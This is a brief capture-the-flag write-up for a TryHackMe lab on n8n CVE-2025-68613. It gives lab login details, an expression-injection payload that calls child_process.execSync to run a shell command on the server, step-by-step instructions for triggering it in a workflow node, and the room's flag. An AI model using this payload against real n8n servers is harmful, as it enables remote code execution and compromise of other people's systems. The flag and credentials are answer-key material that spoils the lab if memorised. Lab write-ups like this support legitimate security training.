TryHackMe Room: n8n: CVE-2025-68613

Player: J4ck3LSyN

Host: ...

Username: [email protected]

Password: Try12345!

Methodology

Payload: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Payload 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Access the attack box.
2. Start New
3. Add First Step, let the right side bar open and add Manual Trigger.
4. After add a Set Fields option.
5. Add a field name pwn and the payload.
6. Execute & pwn.
7. Change the payload to exec cat flag.txt - Flag: THM{n8n_exposed_workflow}